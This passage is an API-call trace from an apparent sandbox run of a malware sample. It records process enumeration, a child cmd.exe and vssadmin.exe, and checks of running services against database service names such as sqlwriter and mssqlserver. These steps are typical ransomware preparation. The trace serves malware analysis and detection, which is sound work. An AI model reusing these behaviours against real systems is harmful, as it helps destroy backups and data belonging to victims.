dwFlags=0x0, szExeFile="platformsprivate.exe")) returned 1 [0045.200] lstrlenW (lpString="platformsprivate.exe") returned 20 [0045.200] Process32NextW (in: hSnapshot=0x1d4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="valve tabs intelligent.exe")) returned 1 [0045.201] lstrlenW (lpString="valve tabs intelligent.exe") returned 26 [0045.201] Process32NextW (in: hSnapshot=0x1d4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bangkok-updates.exe")) returned 1 [0045.201] lstrlenW (lpString="bangkok-updates.exe") returned 19 [0045.202] Process32NextW (in: hSnapshot=0x1d4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="scan-allows.exe")) returned 1 [0045.202] lstrlenW (lpString="scan-allows.exe") returned 15 [0045.202] Process32NextW (in: hSnapshot=0x1d4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mwprovince.exe")) returned 1 [0045.202] lstrlenW (lpString="mwprovince.exe") returned 14 [0045.203] Process32NextW (in: hSnapshot=0x1d4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hired_reality_again.exe")) returned 1 [0045.203] lstrlenW (lpString="hired_reality_again.exe") returned 23 [0045.203] Process32NextW (in: hSnapshot=0x1d4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sharonphonedebut.exe")) returned 1 [0045.204] lstrlenW (lpString="sharonphonedebut.exe") returned 20 [0045.204] Process32NextW (in: hSnapshot=0x1d4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="contacting.exe")) returned 1 [0045.654] lstrlenW (lpString="contacting.exe") returned 14 [0045.654] Process32NextW (in: hSnapshot=0x1d4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="continues_does_laos.exe")) returned 1 [0045.655] lstrlenW (lpString="continues_does_laos.exe") returned 23 [0045.655] Process32NextW (in: hSnapshot=0x1d4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="jpmanagers.exe")) returned 1 [0045.655] lstrlenW (lpString="jpmanagers.exe") returned 14 [0045.655] Process32NextW (in: hSnapshot=0x1d4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="motor.exe")) returned 1 [0045.656] lstrlenW (lpString="motor.exe") returned 9 [0045.656] Process32NextW (in: hSnapshot=0x1d4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="comboashleyalan.exe")) returned 1 [0045.656] lstrlenW (lpString="comboashleyalan.exe") returned 19 [0045.656] Process32NextW (in: hSnapshot=0x1d4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="toshiba.exe")) returned 1 [0045.657] lstrlenW (lpString="toshiba.exe") returned 11 [0045.657] Process32NextW (in: hSnapshot=0x1d4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0045.657] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0045.657] Process32NextW (in: hSnapshot=0x1d4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0045.658] lstrlenW (lpString="mobsync.exe") returned 11 [0045.658] Process32NextW (in: hSnapshot=0x1d4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x958, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0045.658] lstrlenW (lpString="dllhost.exe") returned 11 [0045.658] Process32NextW (in: hSnapshot=0x1d4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0045.659] lstrlenW (lpString="dllhost.exe") returned 11 [0045.659] Process32NextW (in: hSnapshot=0x1d4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0045.659] lstrlenW (lpString="3G6885.exe") returned 10 [0045.659] Process32NextW (in: hSnapshot=0x1d4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x99c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0045.660] lstrlenW (lpString="cmd.exe") returned 7 [0045.660] Process32NextW (in: hSnapshot=0x1d4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0045.660] lstrlenW (lpString="conhost.exe") returned 11 [0045.660] Process32NextW (in: hSnapshot=0x1d4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0045.661] lstrlenW (lpString="vssadmin.exe") returned 12 [0045.661] Process32NextW (in: hSnapshot=0x1d4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0045.661] CloseHandle (hObject=0x1d4) returned 1 [0045.662] Sleep (dwMilliseconds=0x1f4) [0046.717] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6400d0 [0046.718] EnumServicesStatusExW (in: hSCManager=0x6400d0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0) returned 0 [0046.718] GetLastError () returned 0xea [0046.718] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x11e4) returned 0x36b6748 [0046.718] EnumServicesStatusExW (in: hSCManager=0x6400d0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x36b6748, cbBufSize=0x11e4, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x36b6748, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0) returned 1 [0046.719] CloseServiceHandle (hSCObject=0x6400d0) returned 1 [0046.719] lstrlenW (lpString="Appinfo") returned 7 [0046.719] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0046.719] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0046.719] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0046.719] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0046.719] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0046.719] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0046.719] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0046.719] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0046.719] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0046.719] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0046.719] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0046.720] lstrlenW (lpString="AudioSrv") returned 8 [0046.720] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0046.720] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0046.720] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0046.720] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0046.720] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0046.720] lstrlenW (lpString="BFE") returned 3 [0046.720] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0046.720] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0046.720] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0046.720] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0046.720] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0046.720] lstrlenW (lpString="CryptSvc") returned 8 [0046.720] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0046.720] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0046.720] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0046.720] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0046.720] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0046.720] lstrlenW (lpString="CscService") returned 10 [0046.720] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0046.720] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0046.720] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0046.720] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0046.720] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0046.720] lstrlenW (lpString="DcomLaunch") returned 10 [0046.720] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0046.720] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0046.720] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0046.720] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0046.720] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0046.720] lstrlenW (lpString="Dhcp") returned 4 [0046.720] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0046.720] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0046.721] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0046.721] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0046.721] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0046.721] lstrlenW (lpString="Dnscache") returned 8 [0046.721] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0046.721] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0046.721] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0046.721] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0046.721] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0046.721] lstrlenW (lpString="DPS") returned 3 [0046.721] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0046.721] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0046.721] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0046.721] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0046.721] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0046.721] lstrlenW (lpString="eventlog") returned 8 [0046.721] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0046.721] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0046.721] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0046.721] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0046.721] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0046.721] lstrlenW (lpString="EventSystem") returned 11 [0046.721] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0046.721] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0046.721] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0046.721] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0046.721] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0046.721] lstrlenW (lpString="gpsvc") returned 5 [0046.721] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0046.721] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0046.721] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0046.721] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0046.721] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0046.722] lstrlenW (lpString="iphlpsvc") returned 8 [0046.722] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0046.722] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0046.722] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0046.722] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0046.722] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0046.722] lstrlenW (lpString="LanmanServer") returned 12 [0046.722] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0046.722] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0046.722] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0046.722] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0046.722] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0046.722] lstrlenW (lpString="LanmanWorkstation") returned 17 [0046.722] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0046.722] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0046.722] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0046.722] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0046.722] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0046.722] lstrlenW (lpString="lmhosts") returned 7 [0046.722] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0046.722] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0046.722] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0046.722] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0046.722] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0046.722] lstrlenW (lpString="MMCSS") returned 5 [0046.722] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0046.722] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0046.722] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0046.722] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0046.722] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0046.722] lstrlenW (lpString="MpsSvc") returned 6 [0046.722] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0046.722] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0046.723] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0046.723] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0046.723] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0046.723] lstrlenW (lpString="Netman") returned 6 [0046.723] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0046.723] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0046.723] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0046.723] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0046.723] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0046.723] lstrlenW (lpString="netprofm") returned 8 [0046.723] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0046.723] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0046.723] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0046.723] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0046.723] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0046.723] lstrlenW (lpString="NlaSvc") returned 6 [0046.723] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0046.723] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0046.723] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0046.723] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0046.723] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0046.723] lstrlenW (lpString="nsi") returned 3 [0046.723] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0046.723] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0046.723] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0046.723] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0046.723] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0046.723] lstrlenW (lpString="PcaSvc") returned 6 [0046.723] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0046.723] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0046.723] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0046.724] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0046.724] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0046.724] lstrlenW (lpString="PlugPlay") returned 8 [0046.724] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0046.724] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0046.724] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0046.724] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0046.724] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0046.724] lstrlenW (lpString="Power") returned 5 [0046.724] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0046.724] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0046.724] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0046.724] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0046.724] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0046.724] lstrlenW (lpString="ProfSvc") returned 7 [0046.724] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0046.724] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0046.724] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0046.724] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0046.724] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0046.724] lstrlenW (lpString="RpcEptMapper") returned 12 [0046.724] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0046.724] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0046.724] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0046.724] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0046.724] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0046.724] lstrlenW (lpString="RpcSs") returned 5 [0046.724] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0046.724] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0046.724] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0046.724] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0046.724] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0046.725] lstrlenW (lpString="SamSs") returned 5 [0046.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0046.725] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0046.725] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0046.725] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0046.725] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0046.725] lstrlenW (lpString="Schedule") returned 8 [0046.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0046.725] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0046.725] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0046.725] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0046.725] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0046.725] lstrlenW (lpString="SENS") returned 4 [0046.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0046.725] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0046.725] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0046.725] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0046.725] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0046.725] lstrlenW (lpString="ShellHWDetection") returned 16 [0046.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0046.725] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0046.725] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0046.725] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0046.725] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0046.725] lstrlenW (lpString="Spooler") returned 7 [0046.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0046.725] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0046.725] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0046.726] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0046.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0046.726] lstrlenW (lpString="SysMain") returned 7 [0046.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0046.726] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0046.726] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0046.726] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0046.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0046.726] lstrlenW (lpString="Themes") returned 6 [0046.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0046.726] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0046.726] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0046.726] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0046.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0046.726] lstrlenW (lpString="TrkWks") returned 6 [0046.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0046.726] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0046.726] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0046.726] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0046.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0046.726] lstrlenW (lpString="UxSms") returned 5 [0046.726] lstrcmpiW 